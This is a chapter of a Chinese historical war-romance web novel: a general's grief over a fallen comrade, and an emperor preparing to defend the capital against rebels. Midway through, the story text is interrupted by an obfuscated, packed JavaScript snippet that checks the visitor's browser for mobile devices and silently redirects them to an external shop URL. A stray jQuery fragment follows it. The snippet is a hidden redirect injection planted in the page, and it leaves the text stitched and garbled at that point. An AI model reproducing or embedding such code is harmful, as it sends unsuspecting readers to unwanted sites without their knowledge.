“是,哪怕此番一切功亏一篑,我也要回去。”
“什么?”李长泽满脸难以置信,原以为一番利弊剖析能劝动她,万万没料到梁禾会这般一意孤行。
霍京朝实在看不下去,出言规劝:“殿下此举未免太过儿戏。一旦折返,再想逼近京城难如登天,镇北侯若是还在,定然也不希望您舍弃眼前大好局势,回头寻他。”
“抱歉。”理智一遍遍提醒她不该冲动撤军,可人心终究拗不过情字。
那是赵乐,倘若明知他身陷险境却置之不理,这与亲手将他推入绝境又有何分别。
“一句抱歉便想搪塞我们?”李长泽气得脸色青白交加,“庆国刚历经战乱,吾王可以说是倾囊相助啊,您这般任由私情左右决断,难道不算辜负吾王托付、枉费庆国将士舍命奔波?早知殿下重私情轻大局,我宁可领受军法,也不会同京朝远赴此地!”
李长泽清楚再争辩也改变不了她的心意,盛怒之下一甩衣袖,大步拂帐离去。
“你们都先出去,让我一个人静一静。”梁禾疲惫地抬手,示意众人退下。
营帐内只剩她一人独坐案前,她在心底暗暗发誓,这是最后一次被情绪左右,往后绝不会再因私人情感耽误大业。
霍京朝所言句句属实,若换作赵乐在此,必定不会赞同她放弃绝佳战机折返寻人,可她实在做不到眼睁睁看着他身陷险境。她辜负了金聿棋的期许,也愧对所有远道而来的庆国士兵,可她终究过不了心中那一关。
没过多久,霍京朝去而复返,见梁禾独自垂坐,满目愧疚,轻声开口:“长泽那边,我会去安抚劝解。”
梁禾淡淡应声:“有劳将军。”
“即便如此,臣依旧无法认同殿下的决断。恕臣直言,凡事总被私情牵绊,终究难成大业。”
霍京朝话音刚落,正要转身,梁禾抬眸看向她,轻声反问:“倘若今日生死未卜的是表姐,表哥又会做出怎样的决断呢?”
霍京朝沉默许久,再开口时强硬的语气明显柔和了几分:“殿下此言……臣懂了几分。公私取舍,终究是两难。”
第四日,依旧没有赵乐一行人的半点音讯。
梁禾已然下令全军收拾行囊,做好拔营折返的准备。
“报!侯爷回来了!”望见镇北军大旗,哨兵策马奔入营帐,语气难掩欣喜。
不止梁禾,所有人都松了一口气。
她当即带人出营相迎,走近才看清赵乐浑身浸透鲜血,此番随他出征的将士,活着归来的不足三成。
赵乐双眼布满红丝,满身掩不住的疲惫,他声音沙哑地对身后士兵吩咐:“把担架放下来。”
梁禾这时才留意到他身后那副覆着白布的担架:“是谁?”
“阿旭。”赵乐眼底迅速泛红。梁禾上前想要掀开白布,却被他伸手拦住,“别看了。”
另一边,杨信不知何时已然苏醒,被士兵搀扶着缓步走来。
梁禾身形一僵,挣开赵乐阻拦,颤抖着掀开白布。纵然心中早有预判,眼前景象依旧让她心口骤缩。
方应旭身上衣衫尽数碎裂,被鲜血浸透,周身密密麻麻的伤口触目惊心,再向下望去,他右侧衣袖空荡荡一截,右臂已然不在。
高处的李长泽瞥了霍京朝一眼,她正面无表情地看着远处,仿佛那里发生的事和她毫无关系一样,二人是多年的搭档,李长泽了解霍京朝,她表面越冷漠,心里就越难受。
“我们半路遭人伏击,好不容易才脱身,等我赶到时,阿旭早已力竭而亡……”赵乐喉间哽咽,再也说不下去。
望见方应旭残破的遗体,杨信双腿一软重重摔倒在地,身旁士兵连忙上前搀扶,他却甩开手,手脚并用地朝担架爬去。
望着满身伤痕的方应旭,杨信失声嘶吼:“兄弟啊!”
他扑在担架上抱着尸体痛哭不止,若不是为掩护自己脱身,以方应旭的身手本可顺利突围,又怎么会连个全尸都没留下。
为了稳定军心,赵乐紧咬牙关,强压翻涌的悲恸,不敢当众落泪。
梁禾缓缓起身,沉声问赵乐:“伏击之人是谁?”
“张平威。他在京城得知儿子张朔战死,专程赶往徐州,一心为子复仇。本想拦截我大军,没料到撞上了落单断后的他们。”
梁禾轻轻点头,沉默不语。
赵乐垂眸看向她,眼底翻涌着无尽的痛苦,泪水在眼眶中打转。他与方应旭一同长大,情同手足,如今阴阳两隔,他的心像是被生生撕开一道口子。
梁禾有心宽慰,千言万语堵在喉间,不知该如何开口。
高处,霍京朝低声对李长泽自语:“长泽,与他们相比,我们是不是太过凉薄?”她暗自设想,若是倒下的人是李长泽,自己绝不会这般失态痛哭,只会为他唱一首安魂曲,助他魂归故里。
李长泽淡淡回应:“儿女情长既不能饱腹,也不能上阵杀敌。情绪泛滥只会迟缓出剑的速度,我们慢一分,便会有更多无辜百姓遭难。”
霍京朝微微颔首,不再说话。
梁禾走到痛哭的杨信身侧,轻声劝慰:“杨将军,先将阿旭抬回营中吧,这般风吹日晒,他难以安息。”
“好。”杨信抹掉满脸泪水,颤抖着撑起身。
士兵抬起担架的一瞬,赵乐胸中气血翻涌,猛地一口鲜血呕出,眼前骤然发黑,身体直直向后倒去。
“成树!”
意识消散的最后一刻,他看见梁禾快步朝自己奔来,他费力伸出手想去抓住她,可她的身影却越来越远。
再度睁眼已是两日后,梁禾伏在床边守着他,赵乐刚想起身替她盖上薄被,梁禾便惊醒过来。
“你醒了!”梁禾眼中满是喜色,“气色看着好多了,军医说你是连日重压郁结于心,把淤血吐出来反倒无碍。”
赵乐攥住她的手,声音恍惚:“晴远,阿旭是不是还活着?我总觉得是一场梦,昏睡这段时,梦里全是我们从小到大的过往。”
梁禾顿了顿,给他片刻缓冲,才低声道:“阿旭,走了。”
“阿旭……右臂被生生人砍掉该有多疼啊?我赶到的时候,他左手还紧紧握着断刀……”赵乐绝望地闭上双眼,泪水无声滑落。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717082|208065||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
从小到大,方应旭始终护在他身前,如今却落得这般结局。
见他痛不欲生,梁禾心疼地将他拥入怀中,一下下轻拍他的后背:“哭出来吧,憋在心里更难受。”
靠在梁禾怀中,连日压抑的悲痛尽数倾泻,赵乐像孩童一般失声痛哭。
梁禾一面安抚他,一面悄悄拭去自己眼角的泪水。
妥善安葬方应旭后,大军没有停留等待与张平威交锋,时机不容拖延,众人重整队伍继续向皇城推进。
赵乐不知道,他失联那几日,梁禾焦灼难安,甚至已经决定放弃大好局势,折返寻他。
可眼下一切都不再重要,再无任何事物能阻挡大军前行。
时日推移,梁禾独自一人站在皇陵前。
祭拜完父母后,她没有立刻归营,而是静静伫立在此,等待那个能为她扫清前路阻碍带人。
脚步声至,梁禾侧首望去:“你来了。”
来人轻声道:“这些年我一直很想你。”
“我知道,好在我现在回来了。”
“从收到你的信开始,我就在期待这一天,它终于到来了。”
二人相视一笑。
半月之后,赵乐率领大军兵临皇城城下,梁禾派人将战书送入宫中,递至梁萧武面前。
“一群废物!全都是废物!区区一众叛党都拦不住,朕养你们何用!”梁萧武怒极失了帝王仪态,这番斥责,连他自己也一并骂了进去。
一名大臣战战兢兢出列回话:“陛下,叛军与庆国结盟,我军将士实在难以抗衡。”
“分明是你们无能!一群黄口小儿,能掀起什么风浪!”梁萧武肆意怒骂,全然不顾朝堂体面。
“老臣,请缨出战。”张平威自武官队列中走出。
梁萧武略有迟疑,张平威年事已高,沙场厮杀凶险,可朝中值得信任之人寥寥无几,多数臣子尚且不知叛军首领是梁禾,他不敢将重兵交付。唯独张平威痛失爱子,满心悲愤无处宣泄,是最合适的领兵人选。
“臣征战一生,绝不容许逆贼践踏兖国疆土,恳请陛下准许我出征退敌。”
“张将军老当益壮,朕准你所请。”
“谢陛下。”
退朝之后,梁萧武单独派人传召陈飞。
他对着梁萧文的画像低声自语:“王兄啊王兄,你人都死了,为何你的女儿还要处处与我作对?我搜遍兖国全境,始终寻不到她的踪迹。莫非是你与皇嫂的亡魂暗中护着她,处处同我为难?若是如此,那就休怪我下手无情。”
“陛下。”陈飞在屏风后行礼。
梁萧武自屏风后缓步走出,示意他落座:“今日召你前来,是命你增调兵力加固皇城巡防。若是张平威抵挡不住叛军,你便是皇城最后一道防线。”
“臣谨记吩咐。”
梁萧武上前,欣慰地拍了拍陈飞肩头。
“朕与飞将军是一同从刀山火海里厮杀出来的,满朝文武之中,朕最信任的始终是你。”
陈飞拱手躬身,语气赤诚:“承蒙陛下知遇之恩,臣生当陨首,死当结草。”